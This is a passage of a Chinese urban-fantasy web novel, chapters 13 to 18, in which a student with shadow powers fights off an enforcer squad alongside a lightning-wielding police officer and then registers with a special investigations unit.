“裁决会追着你不放,就是因为你继承了暗影本源。”秦伯拿起《暗影秘录》,小心翼翼地翻到最后一页,“他们怕你成长起来,怕破晓找到你,更怕……十年前的真相被揭开。”
最后一页是张残破的地图,上面用朱砂画着个奇怪的符号,像团旋转的影子。费勇觉得眼熟,想了半天突然想起——苏清月给他的银镯上,就刻着这个符号!
“这是……”
“破晓的秘密据点标记。”秦伯把书合上,“等你准备好了,我就带你去找你父亲。但现在,你得先学会控制自己的能力。”他指着费勇脚边的影子,“你的暗影重构还在初级阶段,连影遁都用不利索,遇到审判长,就是块案板上的肉。”
提到审判长,费勇想起刀疤脸提到这个称呼时的敬畏,还有秦伯刚才的语气,好奇地问:“审判长很厉害吗?”
“不是厉害,是恐怖。”秦伯的表情严肃起来,“裁决会有三个审判长,个个都是能改变战局的狠角色。一个能让时间停滞,一个能切割空间,还有一个……能操控人的精神。你现在遇到的,顶多是些小喽啰。”
费勇咽了口唾沫。时间停滞?切割空间?这已经超出他的理解范围了,简直是玄幻里的设定。
“别吓成这样。”秦伯被他的样子逗笑了,“异能这东西,就像学游泳,多练练就熟了。来,我教你怎么感受影子里的能量……”
他拉着费勇走到窗边,指着月光下的影子:“看到没?影子里流动的不是黑暗,是能量。你得像和朋友打招呼一样跟它沟通,而不是命令它……”
费勇跟着秦伯的指引,试着放松精神,感受影子里的动静。果然,那些之前躁动的能量安静了些,像听到安抚的小猫。他想起之前影子自动形成屏障保护自己,突然觉得这能力好像也没那么可怕。
堂屋外,绿色屏障还在轻轻晃动,砂锅还在咕嘟作响,一切都那么平静。但费勇知道,从这一刻起,他的人生已经彻底改变了。
他不再是那个只想混过大学的普通学生,而是暗影本源的继承者,是破晓首领的儿子,是裁决会追杀的目标。
第14章:不速之客
费勇正试图把影子拧成麻花。
这是秦伯教的新练习——感受暗影能量的延展性。原理听起来简单,就像揉面团时感受面粉的筋道,可实际操作起来,影子要么软趴趴地瘫在地上,要么硬邦邦地变成块黑铁板,唯独达不到秦伯说的“柔韧如丝”。
“不对不对,”秦伯摇着蒲扇,白胡子扫过衣襟,“你把它当敌人了,得像哄小猫似的顺着来。想想苏丫头的藤蔓,是不是又软又有劲儿?”
费勇盯着脚边乱扭的影子,突然觉得这能力有点像青春期的叛逆少年,越是命令它,它越对着干。他试着放松肩膀,在心里默念“乖,扭个8字”,影子果然颤了颤,歪歪扭扭地绕出个像模像样的结。
“成了!”他刚想欢呼,院门外突然传来“砰砰砰”的砸门声,力道大得像要把门板拆下来。
“城际刑侦队办案!开门!”
女声清亮又带着股不容置疑的冲劲儿,像冰锥砸在玻璃上,瞬间刺破了青禾堂的宁静。费勇的影子“唰”地绷紧,像被踩了尾巴的猫,猛地缩成一团贴在脚边。
秦伯的蒲扇停在半空,眉头拧成个疙瘩:“特调科的人怎么来了?”
“特调科?”费勇心里咯噔一下,想起秦伯说的“官方异能管理部门”,“是冲我来的?”
“多半是。”秦伯站起身,拍了拍他的肩膀,“别慌,青禾堂有规矩,官方办案得讲程序。你先去里屋躲——”
话没说完,院门“吱呀”一声被推开了,显然是外面的人用了什么技巧,没硬闯。三双锃亮的皮鞋踏进门,为首的女人穿着藏蓝色警服,肩章在晨光里闪着冷光。
费勇的目光在她脸上定格了两秒——是昨晚在医院附近听到的那个女警!虽然只闻其声未见其人,但这股火爆的气场绝不会错。
女人约莫二十三四岁,头发利落地扎成高马尾,额前碎发被汗水濡湿,贴在光洁的额头上。她的眼睛很亮,像淬了冰的钉子,扫过堂屋时带着股穿透力,最后精准地落在费勇身上。
“星海学院的校服?”女人挑了挑眉,右手下意识地按在腰间,那里鼓鼓囊囊的,不知道藏着什么。她的声音比隔着墙时更清晰,每个字都像敲在铁皮上,“昨晚小巷伤人案的嫌疑人,监控里穿的就是这身。”
费勇的心跳瞬间飙到一百二。他昨晚光顾着逃了,压根没想起校服这茬——合着自己穿着“身份牌”跑了一路?
“林警官,”秦伯往前站了半步,不动声色地挡在费勇身前,脸上堆起长辈式的和蔼笑容,“孩子年轻不懂事,要是有什么误会,咱们慢慢说。青禾堂是正经医馆,可经不起‘嫌疑人’这种说法。”
被称作“林警官”的女人没理会秦伯的打太极,视线像探照灯似的在费勇身上扫来扫去,最后停在他肩膀的伤口上——那里虽然抹了药,绷带边缘还是洇出点血迹,和监控里“持械伤人者”的特征对上了。
“慢慢说?”她冷笑一声,从口袋里掏出个黑色证件亮了亮,“城际刑侦队林悦,奉命调查伤人案。有人亲眼看到嫌疑人逃进这里,麻烦让开,我要带他回局里配合调查。”
费勇注意到,她亮证件时,左手小指微微蜷了下,袖口露出半截银色手环,上面刻着复杂的纹路——和裁决会的抑制器不一样,这玩意儿透着股精密的金属感,倒像是某种仪器。
“配合调查可以,”秦伯寸步不让,语气依旧温和,却多了层硬气,“但得说清楚,我这小友犯了什么法?”
“涉嫌持械伤人,还可能和异能者冲突有关。”林悦的手始终没离开腰间,眼神里的警惕又重了几分,“秦老先生,我知道青禾堂的规矩,但特调科办案,有特权。”
“特调科”三个字一出口,费勇明显感觉到秦伯的身体僵了一下。
林悦似乎很满意这个效果,往前逼近一步,皮鞋踩在青石板上发出“笃”的一声。就在这时,她的瞳孔突然收缩,像发现猎物的鹰——视线落在了费勇脚边的影子上。
费勇后颈的汗毛瞬间竖起来。他看到林悦的喉结动了动,像是在吞咽什么,按在腰间的手更紧了,袖口的银色手环隐隐泛起蓝光。
“你身上有异能波动。”林悦的声音降了八度,冷得像冰,“而且是……暗影系?”
费勇懵了。她怎么能看出来?秦伯说过,静心草汁能隐藏异能波动,难道这女警有什么特殊能力?
“林警官说笑了,”秦伯哈哈一笑,想打圆场,“孩子吓着了,影子抖两下很正常。”
“正常?”林悦嗤笑一声,突然向前一探身,距离费勇只剩两步。她身上的气息变了,不再是单纯的警察气场,而是混杂着某种锐利的能量,像蓄势待发的高压电。
费勇的影子突然剧烈扭动起来,像被什么刺激到了。他能感觉到,林悦身上有种和苏清月截然不同的能量——不是温润的草木气,而是带着灼痛感的电流,正透过空气渗过来,让他的皮肤发麻。
“跟我走一趟。”林悦的语气没了商量的余地,右手从腰间移开,指尖似乎有微弱的蓝光闪过,“别逼我动手。”
费勇下意识地后退半步,影子在地面铺开,隐隐形成盾牌的形状。他不知道这女警是敌是友,但直觉告诉他,跟她走绝不是好事——尤其是在她认出自己异能的情况下。
“林警官这是要强带人?”秦伯的脸色沉了下来,堂屋的空气瞬间绷紧,像拉满的弓弦。墙角的砂锅不知何时停了咕嘟声,连阳光透过窗棂的角度都像是凝固了。
林悦身后的两个警员往前站了站,手按在枪套上,气氛一触即发。
费勇盯着林悦的眼睛,突然发现她的瞳孔深处藏着点别的东西——不是裁决会那种狂热或冷漠,而是一种混杂着警惕和……疲惫的情绪,像长期熬夜的人,眼底带着淡淡的青黑。
她到底是来抓自己,还是另有所图?
就在这时,院外突然传来一声闷响,像是有什么重物落地。林悦的脸色骤变,猛地转身看向门外。
费勇的心也跟着提了起来。
新的麻烦,似乎又要来了。
第15章:裁决会的突袭
林悦的手已经摸到了逮捕令的边缘,指尖刚碰到那张烫金的硬纸,院外突然传来一声巨响。
“轰隆——!”
像有颗炸弹在耳边炸开,震得堂屋的窗棂嗡嗡作响,房梁上的灰尘簌簌往下掉。费勇下意识地捂住耳朵,眼角的余光瞥见院门口的绿色屏障猛地剧烈摇晃,原本坚韧的藤蔓像被狂风撕扯的布条,瞬间断了好几根,幽蓝的光迅速黯淡下去。
“不好!”秦伯的脸色瞬间变得惨白,手里的蒲扇“啪嗒”掉在地上,“是裁决会的‘破障弹’!”
话音未落,院门外传来木头碎裂的声音。那道刚才还能抵挡执法者的藤蔓屏障,此刻像纸糊的一样被撕开个大口子,十几个黑影踩着断裂的藤蔓冲了进来,黑色作战服上的银徽在阳光下闪着寒光——正是裁决会的执法者。
为首的是个两米多高的壮汉,肌肉把作战服撑得鼓鼓囊囊,手里拎着柄半人高的巨斧,斧刃上还沾着绿色的汁液,显然是刚劈开藤蔓的。他的皮肤泛着金属般的光泽,眼神像饿狼似的扫过堂屋,最后死死盯住费勇。
“找到了!”壮汉瓮声瓮气地笑起来,声音像磨盘在转,“特调科的,这是我们裁决会的目标,识相点就让开!”
林悦猛地转身,挡在费勇身前,右手闪电般从腰间掏出配枪,枪口稳稳对准壮汉的胸口。她的马尾辫因为动作太急甩到脸颊,眼神里的冰碴子仿佛要把人冻住:“我是城际刑侦队林悦,正在执行公务。这人是伤人案嫌疑人,必须跟我回局里。”
“嫌疑人?”壮汉像是听到了什么笑话,咧开嘴露出黄牙,“在裁决会的名单上,他是‘待清理品’。特调科的小丫头,别给脸不要脸。”
他往前踏了一步,巨斧在地上拖出刺耳的刮擦声,“识相的把人交出来,不然连你一起劈了。”
林悦的手指扣紧扳机,指节泛白:“试试。”
空气瞬间凝固了。费勇站在林悦身后,能感觉到她身上散发出的气场突然变了——不再是警察的威严,而是一种更锐利、更危险的气息,像即将引爆的高压电。她藏在袖口的银色手环亮得更明显了,隐约有电流滋滋作响。
“看来特调科又要多一具尸体了。”壮汉的笑容突然变得狰狞,猛地举起巨斧,带着呼啸的风声劈向林悦的头顶。那力道足能把青石地板砸出个坑,显然是强化系异能者的手笔。
费勇的心脏差点跳出嗓子眼,刚操控影子去挡,却见林悦的身体突然向右侧滑出半米,动作快得像贴着地面的闪电。巨斧“哐当”一声劈在她刚才站的位置,青石板瞬间裂开蛛网般的纹路。
“就这点本事?”林悦冷笑一声,左手猛地抬起,指尖迸射出一道蓝白色的电流,像条小蛇似的窜向壮汉的手臂。
“滋啦——!”
电流击中壮汉的瞬间,他身上的金属光泽剧烈闪烁了一下,整个人像被按了暂停键,举着巨斧僵在原地,脸上的狞笑变成了错愕。几秒钟后,他发出一声惨叫,像被烫到似的猛地后退,手臂上的作战服被电流灼出个黑洞,皮肤焦黑一片。
“雷霆掌控?”壮汉又惊又怒,“你是林啸的女儿!”
林悦的眼神骤然变冷,电流在指尖噼啪作响:“知道我是谁,还敢在我面前撒野?”
费勇这才恍然大悟。难怪林悦对裁决会有那么大的敌意,难怪她的异能是雷霆掌控——原来她父亲就是十年前牺牲的初代异能者警察!秦伯说过,林悦的父亲是为了对抗裁决会才死的,这笔血海深仇,难怪她会毫不犹豫地站出来。
“原来是个小复仇者。”壮汉抹了把手臂上的焦痕,眼神变得阴狠,“正好,把你爹的债一起讨回来!”他挥了挥手,身后的执法者立刻呈扇形散开,手里的抑制器滋滋作响,“给我上!把这丫头和暗影系的一起拿下!”
十几个执法者同时冲了上来,黑色的身影像潮水般涌向堂屋。秦伯低喝一声,双手在身前快速结印,堂屋墙角的盆栽突然疯长起来,藤蔓像绿色的鞭子抽向执法者,暂时挡住了他们的脚步。
“费勇,别愣着!”林悦一边躲避着执法者的攻击,一边对费勇低吼,“不想死就用你的影子!”
费勇这才回过神。他看着林悦在执法者中间穿梭,银色手环放出的电流不断击中敌人,却因为寡不敌众渐渐落入下风。有个执法者绕到她身后,举着抑制器就要刺过去——那玩意儿要是碰到林悦,她的雷霆异能肯定会被压制。
“小心!”
费勇想也没想,集中精神操控地面的影子。那些黑色的丝线瞬间汇聚成一根长绳,像鞭子似的缠住了那个执法者的脚踝。执法者重心不稳,“扑通”摔了个狗啃泥。
林悦趁机回身,电流直接击中他的后颈,执法者哼都没哼一声就晕了过去。
“干得不错!”林悦冲费勇喊了一声,眼神里闪过一丝惊讶,随即又被警惕取代,“左边!”
费勇立刻转向左边,影子化作盾牌挡住另一个执法者的短刀。金属撞击影子的声音很奇怪,像敲在湿透的皮革上,闷闷的。
混乱中,费勇突然注意到个细节——林悦的电流每次击中执法者,他们身上的抑制器就会闪烁一下,威力似乎会减弱。而他的影子缠住敌人时,林悦总能精准地释放电流,仿佛两人提前演练过似的。
这就是秦伯说的“异能互补”?
“往院子退!”林悦拽了费勇一把,躲过壮汉劈来的巨斧,“堂屋太小,施展不开!”
费勇跟着她往院子退,秦伯的藤蔓在后面掩护,暂时挡住了追兵。但他能看到,那些藤蔓已经越来越稀疏,秦伯的额头渗出了冷汗,显然维持植物生长对他消耗很大。
壮汉的巨斧再次劈来,林悦的电流这次没能完全躲开,被斧柄擦到了胳膊,疼得她闷哼一声。
“林悦!”费勇心头一紧,影子突然暴涨,像张开的黑色翅膀挡在她身前。
巨斧劈在影子上,壮汉突然“咦”了一声,像是感觉到了阻力。
就在这时,林悦突然抓住费勇的手腕,银色手环贴在他的皮肤上,一股灼热的电流顺着手臂窜过来,让他的影子瞬间沸腾起来,黑色的丝线上竟然缠绕上了蓝色的电光。
“这是……”费勇愣住了。
“别废话!”林悦的声音带着喘息,却异常坚定,“用你的影子把电流导给他们!”
费勇虽然不知道原理,却下意识地照做了。他操控着缠绕着电流的影子,像甩鞭子似的抽向冲在最前面的几个执法者。
“滋啦——!”
影子碰到执法者的瞬间,蓝色的电流猛地爆发开来,比林悦单独释放的威力强了好几倍。那几个执法者像被扔进了高压电箱,浑身抽搐着倒在地上,抑制器“啪嗒”掉了一地。
壮汉看得目瞪口呆,显然没料到这两人的异能结合起来会这么厉害。
林悦喘着气,对费勇挑了挑眉,嘴角难得露出点笑意:“看来咱们配合得还不错。”
费勇的心跳有点快,不知道是因为刚才的电流,还是因为她这难得的笑容。他刚想说话,却看到秦伯的脸色突然变得极其难看,指着他们身后,嘴唇哆嗦着说不出话。
费勇猛地回头——
院墙上不知何时站了个穿黑色长袍的人,兜帽遮住了脸,只露出一双没有温度的眼睛,正静静地看着他们。
是审判长!
第16章:电流与影子的合奏
壮汉的巨斧第三次劈来时,秦伯的藤蔓终于撑不住了。
“咔嚓”一声脆响,最粗壮的那根主藤被斧刃斩断,绿色汁液像血一样溅在青石板上。失去支撑的藤蔓屏障瞬间垮塌,剩下的执法者像冲破堤坝的洪水,嗷嗷叫着扑进院子。秦伯踉跄着后退两步,捂住胸口剧烈咳嗽,花白的胡子上沾了点血丝——操控植物显然对他消耗极大。
“秦伯!”费勇下意识想去扶,却被林悦一把拽了回来。
“别添乱!”林悦的声音带着喘息,额前的碎发全被汗水打湿,贴在脸上像幅凌乱的水墨画。她刚才为了掩护秦伯,胳膊被执法者的抑制器划了道口子,血珠正顺着警服的袖口往下滴,“他们人太多,硬拼肯定不行!”
费勇这才看清局势。院子里至少还有十几个执法者,个个举着抑制器围成半圈,像铁桶似的把他们仨困在中间。那个持斧壮汉站在最前面,手臂上的焦痕已经消退,显然强化系异能自带快速恢复效果,正咧着嘴狞笑:“小丫头,没藤蔓帮你挡着,我看你还能撑多久?”
林悦没理他,突然转头瞪着费勇,眼神里的电流仿佛要实质化:“你的影子除了挡斧子还会干嘛?不想死就跟我联手!”
费勇被她吼得一激灵。他确实有点懵——刚才那几下全是下意识反应,现在被这么多双眼睛盯着,脑子反而像卡壳的播放器,半天转不动。尤其是看到执法者手里的抑制器,他总想起昨晚被那玩意儿怼到时,影子差点溃散的恐惧感。
“我……”他刚想辩解自己还没练熟,眼角的余光突然瞥见个穿黑色作战服的身影,正猫着腰绕到林悦身后。那家伙手里攥着柄短斧,斧刃闪着寒光,显然是想偷袭。
“小心身后!”
费勇的喊声和动作几乎同步。他没时间细想,猛地将意识沉入地面的影子——不是之前那种笨拙的拉扯,而是像甩跳绳似的,让影子顺着地面快速游走,瞬间化作根手腕粗的黑绳,“啪”地缠住了那偷袭者的脚踝。
执法者的动作戛然而止,重心一歪,像被绊倒的稻草人,短斧“哐当”掉在地上。
林悦像是背后长了眼睛,几乎在他摔倒的同时猛地转身,左手成爪状对着他的胸口。蓝色的电流在她指尖炸开,像朵小型烟花,“滋啦”一声钻进执法者的衣服里。那家伙哼都没哼一声,白眼一翻就晕了过去,浑身还在微微抽搐。
整个过程不过两秒钟,快得像场精心排练的魔术。
林悦喘着气看向费勇,眼神里的惊讶多过警惕,像发现新大陆的探险家:“你这影子……还挺灵活。”
费勇也愣了。他看着自己的影子——那根黑绳正缓缓松开,像完成任务的宠物蜷回他脚边,甚至还轻轻蹭了蹭他的鞋。这是他第一次主动用影子救人,感觉竟然……还不错?
“别愣着!”林悦的声音把他拽回现实,“左边三个交给你,用影子绊住他们的脚!我对付右边!”
她的指令清晰得像作战地图。费勇几乎是本能地照做,集中精神操控影子分裂成三股,像三条黑色的小蛇,悄无声息地游向左边三个执法者的脚踝。这比刚才单根绳子难多了,影子的边缘开始微微发颤,像信号不良的电视屏幕。
“就是现在!”
林悦突然低喝一声,右手猛地向上一扬。蓝色的电流顺着她的手臂窜上天空,在半空中炸开成一张巨大的电网,带着噼里啪啦的响声罩向右边的执法者。那些人显然没见过这招,吓得连连后退,阵型瞬间乱了。
就在这时,费勇的影子绳同时收紧!
左边三个执法者猝不及防,全被绊倒在地,像串翻倒的多米诺骨牌。他们手里的抑制器摔出去老远,刚想爬起来,就被林悦分过来的几道电流击中,一个个瘫在地上动弹不得。
“漂亮!”林悦冲费勇比了个极快的手势,像是在击掌。
费勇的心跳有点快。不是因为紧张,而是一种很奇妙的感觉——就像玩双人游戏时,终于和队友摸到了配合的节奏。他的影子负责束缚,她的电流负责攻击,一个阴一个阳,一个暗一个明,竟然有种说不出的默契。
“这俩配合得还挺好?”秦伯不知何时退到了他们身后,靠在门框上喘着气,嘴角还带着点惊讶的笑意。他虽然没再催生藤蔓,却悄悄让墙角的几株含羞草张开了叶片,草叶上的细毛闪烁着微光,显然是在监测周围的动静,“老秦我活了大半辈子,还是头回见暗影系跟雷霆系搭伙的。”
费勇这才注意到,秦伯的藤蔓并没有完全消失。那些细小的绿丝正顺着墙角悄悄蔓延,像隐形的网,在他们周围织出片小小的安全区。有个执法者想冲进来,刚抬脚就被藤蔓缠住脚踝,摔了个结结实实。
“别光顾着看!”林悦的声音再次响起,她已经解决了右边的敌人,正侧身避开壮汉劈来的巨斧,“还有三个!集中解决!”
费勇立刻回神。院子里还站着的执法者只剩三个了,正缩在壮汉身后,显然被刚才的雷网吓怕了,不敢贸然上前。
“缠住他们的脚!”林悦突然向后退了半步,和费勇背靠背站着。她的后背隔着两层衣服,传来轻微的震动,显然是在积蓄能量。费勇能感觉到,有股灼热的电流顺着接触点渗过来,让他的影子也跟着兴奋起来,像喝了兴奋剂的猎犬。
“好!”
费勇深吸一口气,这次他没再用绳子,而是让影子在地面铺开,化作片薄薄的黑毯,悄无声息地滑向那三个执法者。接近他们脚边时,黑毯突然竖起三道“墙”,像三道黑色的栅栏,同时缠住了他们的脚踝和膝盖。
“就是现在!”
林悦的声音带着股爆发力。费勇感觉到背后来的震动突然变得强烈,像有座小型电站在她体内启动。他下意识地低下头,就看到林悦的双脚周围裂开蛛网般的电流纹路,蓝色的电光顺着地面蔓延,与他的影子黑毯交织在一起。
“雷网·二次形态!”
随着林悦的低喝,那些交织的电流突然暴涨,在半空中形成个更大的电网,像捕鱼笼似的罩向被影子缠住的三个执法者。这一次的电流比刚才更密集,蓝白色的光几乎照亮了整个院子,连空气都弥漫着股焦糊味。
“啊——!”
三声惨叫同时响起。被影子固定住的执法者根本没地方躲,全被电网罩在中间,瞬间被电得浑身抽搐,像三只被煮熟的虾子,直挺挺地倒了下去。
院子里突然安静下来。
除了那个持斧壮汉,剩下的执法者不是晕了就是瘫了,横七竖八地躺在地上,场面像刚结束一场混乱的摔跤比赛。
壮汉看看地上的同伴,又看看背靠背站着的费勇和林悦,脸色青一阵白一阵,举着巨斧的手开始微微发颤。他显然没料到,这两个看起来不怎么样的年轻人,联手居然能有这么大威力。
“你……你们……”
林悦没给他说完话的机会,抬手对着他的脚边放了道电流。蓝色的电光在地面炸出个小坑,吓得壮汉连连后退,差点被自己人的尸体绊倒。
“还不走?”林悦的声音冷得像冰,“等着让我把你也电晕?”
壮汉咬了咬牙,看了眼费勇脚边那团还在微微蠕动的影子,又看了看林悦指尖闪烁的电流,终于还是怂了。他恨恨地瞪了他们一眼,撂下句“你们等着”,转身就跑,连地上的同伴都顾不上了。
直到他的身影消失在巷口,费勇才像被抽走了骨头似的,一屁股坐在地上,大口大口地喘气。他的影子也蔫蔫地趴在旁边,颜色比刚才淡了不少,像是累坏了。
林悦也靠在墙上滑坐下来,捂着受伤的胳膊,眉头紧锁。
秦伯这才慢悠悠地走过来,手里不知何时多了个小药瓶,递给林悦:“丫头,擦擦这个,止血快。”
林悦接过去,刚想道谢,目光突然落在费勇身上,眼神里的警惕又回来了,像突然想起什么正事:“喂,暗影系的。”
费勇抬头看她。
“伤完人就想跑?”林悦挑眉,从口袋里掏出副手铐晃了晃,金属碰撞声在安静的院子里格外清晰,“现在可以跟我回局里,好好说说昨晚的事了吧?”
费勇:“……”
他刚升起来的那点“战友情谊”,瞬间被这副手铐砸得粉碎。
第17章:特调科的底牌
林悦的手铐还没碰到费勇的手腕,秦伯突然轻咳一声,慢悠悠地往两人中间一站。老人手里的拐杖在青石板上敲出笃笃声,杖头雕着的藤蔓花纹正好对着林悦的手背。“丫头,”他的声音带着点老树皮的粗糙,“刚打完一架就动家伙,不像特调科的规矩吧?”
林悦的动作顿住了。阳光穿过院子里的葡萄架,在她脸上投下斑驳的光影,那双总带着电光的眼睛眯了眯:“秦伯是想护着他?”
“我是护着青禾堂的地砖。”秦伯弯腰捡起片被电流灼焦的叶子,“这可是清月丫头去年亲手铺的,磕坏一块都得心疼半天。”他话锋一转,目光扫过地上横七竖八的执法者,“再说了,裁决会的人刚跑,特调科现在不该先清点现场,给局里递报告吗?”
费勇趁这功夫往后缩了缩,后背抵住墙根。他的影子顺着墙缝溜出去,悄悄探向院门口——不是想跑,只是刚才那番恶斗让他本能地警惕,总觉得墙角的阴影里还藏着双眼睛。直到影子反馈回“安全”的信号,他才敢抬头,正好撞见林悦收起手铐的动作,金属碰撞声轻得像怕惊扰了什么。
“算你俩运气好。”林悦把铐子别回腰后,突然转身走向秦伯,从随身的黑色皮包里抽出个证件。烫金的“特调科顾问”字样在阳光下很扎眼,照片上的她没穿警服,白衬衫领口系着黑色领结,眼神比现在温和些。“正式介绍下,林悦,特调科外勤三组,负责城东片区异能者登记与冲突调解。”
秦伯的拐杖顿了顿:“难怪看着面熟,去年清月去特调科报备新培育的药用藤蔓,回来总念叨有个雷厉风行的女警官……”
“是苏清月医生吧?”林悦接话很快,像是对这个名字很熟悉,“她培育的‘凝露藤’对异能者能量紊乱有奇效,特调科药房常年备着。”她说话时指尖无意识地摩挲着皮包里露出的一角黑色封皮,费勇眯眼一看,那封皮上绣着的银色纹路,和刚才秦伯递药瓶时,瓶身标签上的图案几乎一样。
“喏,这个给你。”林悦突然把那本黑色册子扔给费勇。册子在空中划过道弧线,影子快一步缠住书脊,轻轻放在他腿上。封面上没有字,只有块银色金属牌,刻着枝藤蔓绕的图案——和青禾堂院墙上爬的爬山虎很像。
费勇翻开册子的手顿了顿。纸页边缘泛着浅黄,显然被翻了很多次。第一页是目录,按异能属性分了类:强化系、元素系、精神系……翻到“暗影系”那栏时,他的指尖猛地收紧。上面只有三个名字,最后一个的登记日期停留在十年前,照片上的男人穿着黑色风衣,影子在照片里显得格外浓,像要从纸里渗出来。
“这是……”
“特调科的异能登记册。”林悦靠在葡萄架下,仰头接住片飘落的叶子,“登记过的异能者,特调科会发专属标识,裁决会不敢轻易动。”她突然看向费勇,叶子在指间转了个圈,“你刚才操控影子时,能量波动已经被特调科的监测器捕捉到了。现在有两个选择:要么我现在录入你的信息,算‘主动登记’,评级能高些;要么等监测组找上门,到时候按‘违规暴露’算,麻烦就大了。”
费勇的影子突然抖了抖,蹭过他的手背。他想起刚才那名执法者被影子缠住时,脖子上挂的黑色徽章——和册子上某个裁决会成员的标识一模一样。“登记了,就能保证安全?”他的声音有点干,“特调科……靠谱吗?”
“至少比青禾堂的墙靠谱。”林悦突然笑了,眼角的细纹在阳光下很明显,“上周三,城西有个火系异能者登记后,裁决会的审判长带队去堵他,结果刚出巷口就被特调科的伏击队摁了。”她顿了顿,声音压低些,“那审判长叫陈默,能让时间停滞三秒,你刚才碰到的,估计是他手下的执法者。”
秦伯突然敲了敲费勇的膝盖:“丫头说的是实话。”老人从怀里掏出个布包,解开时露出枚银色小牌,上面同样刻着藤蔓纹,“老秦我这‘植物系C级’的标识,十年前就挂在青禾堂门口,裁决会的人路过都得绕着走。”
费勇的目光在银牌和册子间转了转。册子第37页的空白处,有人用铅笔写了行小字:“暗影系能量不稳时,可辅以凝露藤汁液调和。”字迹娟秀,像是苏清月的手笔。他突然想起昨晚在青禾堂偏房,看到药架上摆着的小瓶,标签上就写着“凝露藤”,当时还以为是普通草药。
“登记的话,要测什么?”他问得很轻,像怕惊动空气里的尘埃。
“简单。”林悦从包里拿出个巴掌大的金属仪器,“握住这个,测能量强度和稳定性。评级高的话,特调科会给配专属装备——比如能增强影子硬度的‘暗影增幅器’,比你现在硬抗斧头靠谱多了。”她边说边按动仪器开关,屏幕亮起,映出费勇有点发愣的脸。
费勇的影子突然顺着他的胳膊爬上来,在手腕处盘成个圈,像在鼓励他。他深吸一口气,刚要伸手,院门外突然传来自行车铃铛声。苏清月推着车站在门口,白大褂口袋里露出半截温度计,看到院子里的狼藉时,脚步顿了顿。
“清月!”秦伯喊了声,“正好,快来帮小勇看看,他这暗影系能量稳不稳定。”
苏清月的目光扫过地上昏迷的执法者,最后落在费勇腿上的登记册上。她没说话,只是从车筐里拿出个小玻璃瓶,递给费勇:“先喝这个。”瓶里是淡绿色的液体,晃了晃,能看到细碎的光点在里面游。“凝露藤汁,刚榨的,能让能量测出来更准些。”
费勇接过瓶子时,指尖碰到她的手,很凉。苏清月的影子落在地上,悄悄和他的影子缠了缠,像在说“没事的”。他仰头把汁液喝下去,味道有点涩,却让刚才紧绷的神经放松了不少,连带着影子都亮了些。
“好了,伸手吧。”林悦把仪器递过来,屏幕上跳动着“准备检测”的字样。
费勇握住仪器的瞬间,影子突然剧烈波动起来。仪器发出“嘀嘀”的提示音,屏幕上的数值一路飙升,从“D级”跳到“C级”,还在往上窜。林悦的眼睛亮了:“稳住!别紧张!”
苏清月突然开口:“想象你最安心的地方。”
费勇的脑海里闪过个画面:小时候被远亲锁在储藏室,只有窗户透进来的月光和自己的影子作伴,那时影子会变成各种形状逗他玩,像只不会说话的朋友。他想着想着,掌心的仪器不再发烫,数值慢慢稳定在“A级”的位置。
“A级!”林悦的声音里带着惊喜,“城东片区今年第一个暗影系A级!”她快速在登记册上写下费勇的名字,又把仪器连到手机上,打印出张卡片递给费勇。卡片上印着他的照片,旁边写着“暗影系A级,费勇”,角落同样刻着藤蔓纹。
费勇捏着卡片,突然觉得手里的登记册没那么沉了。苏清月正帮秦伯收拾散落的藤蔓,阳光落在她的白大褂上,像镀了层金边。林悦在给局里打电话,声音里的笑意藏不住:“三组林悦报告,发现A级暗影系异能者,已登记……对,就在青禾堂,能量很稳定……”
秦伯的拐杖敲了敲地面:“这下好了,以后出去,亮这卡片,裁决会的小喽啰见了都得绕道走。”
费勇低头看着卡片,影子在上面蹭了蹭,像是在和他分享喜悦。他突然想起刚才林悦说的“暗影增幅器”,忍不住问:“那装备……什么时候能拿?”
林悦挂了电话,笑得眼睛弯成缝:“明天来特调科取,顺便给你录详细信息。对了,”她像是突然想起什么,“登记册第58页,有所有A级异能者的联络方式,遇到解决不了的麻烦,可以找他们帮忙——其中有个叫‘老鬼’的,暗影系前辈,据说特别擅长影子追踪,你可以问问他。”
费勇立刻翻到第58页,“老鬼”的名字后面画着个小小的图书馆图案,让他莫名觉得有点熟悉。
苏清月推着车往屋里走,经过费勇身边时,轻声说:“老鬼前辈……经常来青禾堂借书呢。”
费勇的心跳漏了一拍。他看着登记册上“老鬼”的名字,突然觉得这特调科,好像也没那么陌生。至少在这里,有知道凝露藤用处的人,有会提醒他想安心地方的人,还有虽然凶巴巴却会给他争取A级待遇的人。
夕阳把影子拉得很长,费勇的影子和林悦的、苏清月的、秦伯的缠在一起,在青石板上织成张温暖的网。他握紧手里的登记卡,突然有点期待明天去特调科的路了。
第18章:青禾堂的禁忌
费勇的指尖还残留着玉佩的微凉触感,苏清月的声音压得极低,白大褂的袖口随着她的动作轻轻扫过他的手背,像片受惊的叶子。“你看这纹路,”她用指甲在玉佩边缘划了下,刻痕里积着的细尘被扫开,露出底下更深的暗纹,“和特调科登记册封皮上的银纹是不是很像?”
费勇凑近了些,鼻尖差点撞上她的发顶。苏清月头发上有股淡淡的草木香,是凝露藤的味道——他昨天喝的汁液就是这个味。玉佩上的暗纹在廊下漏进来的光斑里渐渐清晰,盘旋的藤蔓纹中间,藏着个极小的“月”字,刻得极浅,像是怕被人发现。
“这是……”费勇的影子顺着青砖缝爬到苏清月脚边,轻轻勾了勾她的鞋跟,像在提醒什么。
“我太爷爷刻的。”苏清月突然抬手拢了拢耳边的碎发,指尖划过耳垂时有点抖,“他当年是特调科的草药师,负责给异能者配调理药剂。后来裁决会的人找上门,说他登记的配方里藏着‘反叛暗号’,半夜就把人绑走了。”她低头盯着玉佩,声音闷得像被棉花堵着,“我奶奶说,太爷爷走前把这玉佩塞给她,说‘青禾堂的藤蔓缠得再紧,也得给后人留条能喘气的缝’。”
费勇的影子突然收紧,缠在他手腕上打了个结。他想起林悦昨天展示的登记册,第37页那行娟秀的小字——“暗影系能量不稳时,可辅以凝露藤汁液调和”,字迹和苏清月现在握着玉佩的指节弧度莫名重合。
“那特调科……”费勇的声音有点干,刚说了三个字,就被苏清月猛地拽了把胳膊。
她的力气比看起来大得多,指腹按在他小臂内侧的青筋上,带着药箱里酒精的凉意。“别大声说!”苏清月的眼睛瞪得圆圆的,睫毛上沾着点从葡萄架上落下来的白绒毛,“秦伯说,现在特调科里有裁决会的眼线,上次我培育的凝露藤样本,送去备案就被换了包普通藤蔓,差点让个火系异能者喝出问题。”
